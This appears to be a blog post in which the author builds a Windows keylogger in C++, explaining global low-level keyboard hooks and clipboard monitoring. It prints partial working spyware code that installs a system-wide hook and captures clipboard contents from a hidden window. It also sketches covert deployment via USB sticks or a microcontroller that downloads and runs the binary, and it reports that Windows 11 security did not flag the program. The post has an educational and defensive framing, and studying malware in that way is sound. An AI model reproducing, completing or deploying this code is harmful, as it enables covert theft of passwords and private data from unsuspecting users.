Overview #
In this experiment I built a small keylogger in C++ using the WinAPI.
The goal: by capturing keystrokes and clipboard contents and writing them to a log, learn how low-level input handling and the Windows API actually work.
In security work, understanding how malware operates is part of how you build defenses against it — so it's genuinely useful to implement something like this yourself and watch it run.# What is a keylogger?
A keylogger is software (or hardware) that watches keyboard input and records every key that's pressed. There are legitimate uses — debugging, user-behavior analysis — but in security contexts the term is most familiar as a class of malware: keyloggers steal passwords, credit card numbers, personal information.
Here we focus on a software keylogger, implemented using OS-provided APIs, as a way to learn how Windows behaves at a low level.
How it works #
To monitor keyboard input across the entire system on Windows, the standard mechanism is a Windows Hook. A hook lets your program intercept specific events (keyboard input, mouse activity, window creation, etc.) — when the event occurs, the OS calls a function (a "callback") that you've registered.
SetWindowsHookEx and WH_KEYBOARD_LL #
The implementation uses the WinAPI function SetWindowsHookEx. You tell it which kind of event to hook and pass it your hook procedure (the callback to invoke).
HHOOK SetWindowsHookEx(
int idHook, // hook type
HOOKPROC lpfn, // address of the hook procedure (callback)
HINSTANCE hMod, // DLL handle (NULL for our case)
DWORD dwThreadId // thread ID (0 makes it a global hook)
);
idHook(hook type): specifyWH_KEYBOARD_LL(Low-Level Keyboard Hook). This intercepts system-wide keyboard events at a low level — before they're delivered to any other process.lpfn(hook procedure): a pointer to the function we're going to write — Windows calls this every time a key event happens. I named mineKeyboardProcand passed that.dwThreadId(thread ID): passing0makes it global — every key event in the entire system, across every process.
The hook procedure (KeyboardProc) #
The function you registered with SetWindowsHookEx must have this signature. The OS calls it every time a key is pressed.
// Called when a keyboard event happens (the callback)
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
nCode(instruction from the OS): ifnCode < 0we should skip our processing. IfnCode >= 0we handle the event.wParam(event type): the kind of event —WM_KEYDOWN(key pressed),WM_KEYUP(key released), and so on.lParam(key info): a pointer to aKBDLLHOOKSTRUCTstruct, which carries the virtual key code (vkCode) of the key that was pressed.
A minimal C++ example #
The code below is a basic keylogger that prints keystrokes to the console and appends them to log.txt. Error handling is simplified for clarity.
Main logic (WinMain) #
We install the hook and then keep the program alive with a "message loop." To run in the background we use WinMain (not regular main) and don't show a console window.
#include <Windows.h>
#include <fstream>
#include <string>
#include <vector>
// Log file name
const char* LOG_FILE = "Log.txt";
// Global hook handle
HHOOK hHook = NULL;
// Windows application entry point
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// Register a window class
// Prefix string literals with L to make them wide strings
const WCHAR CLASS_NAME[] = L"ClipboardMonitorClass";
WNDCLASSW wc = {}; // Use WNDCLASSW
wc.lpfnWndProc = ClipboardMonitorProc;
wc.hInstance = hInstance;
wc.lpszClassName = CLASS_NAME;
RegisterClassW(&wc); // Use RegisterClassW
// Create a message-only (hidden) window
// Prefix string literals with L to make them wide strings
HWND hWnd = CreateWindowExW( // Use CreateWindowExW
0, CLASS_NAME, L"Clipboard Monitor", 0, 0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL
);
if (hWnd == NULL) {
return 1; // window creation failed
}
// Register a clipboard listener
if (!AddClipboardFormatListener(hWnd)) {
return 1; // listener registration failed
}
// Install the keyboard hook
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hHook == NULL) {
return 1; // hook installation failed
}
// Run a message loop so the program doesn't exit
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Remove the listener
RemoveClipboardFormatListener(hWnd);
// Uninstall the hook
UnhookWindowsHookEx(hHook);
return 0;
}
Window procedure for clipboard monitoring #
When the clipboard changes, call WriteClipboardDataToFile().
LRESULT CALLBACK ClipboardMonitorProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_CLIPBOARDUPDATE:
// Clipboard contents changed
WriteClipboardDataToFile();
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
}
Ethical notes #
This code is for educational purposes. Installing it on someone else's computer without permission and recording their keystrokes is a serious privacy violation and a crime under unauthorized-access laws — in Japan and elsewhere.
Legal and ethical considerations mean I won't post the entire source. But going through the implementation made the WinAPI's clever, low-level mechanics very tangible to me — I learned a lot.
The threat #
Most of us have used machines that aren't ours: an internet café, a public library, a corporate-issued PC, a shared family computer. If a program like this were running on any one of them, it would be a real problem.
If the program were running, every login password you typed, every search query that touches your private life, every confidential business detail you handled — all of it ends up in a log.
In an environment anyone can touch, installing this program is trivial. For example: park the binary on a server somewhere, flash a microcontroller with code that says "when plugged into a PC, download and run the program from the server," and from that point on, plugging the device into a target machine performs the download, install, and execution automatically.
You don't even have to be that elaborate — pop in a USB stick and copy the program over and you're done.
The program has no external network communication and is structurally very simple, so the chance of being flagged as a virus is low. I ran it in a controlled environment and Windows 11's latest security didn't catch it within several hours.
Defense #
This particular run wasn't detected as malware — likely because it ran for only a few hours and didn't talk to any external server. In practice, however, most antivirus products will flag programs that use SetWindowsHookEx to globally hook WH_KEYBOARD_LL (especially if they have no console window) — they detect them by signature, by behavior, or both, and either block or remove them.
Even with security software running, don't get complacent. Stay aware of the environment a machine is in, and have a clear sense of what is and isn't acceptable to run on it.
COMMENTS 0
No comments yet — be the first to leave one.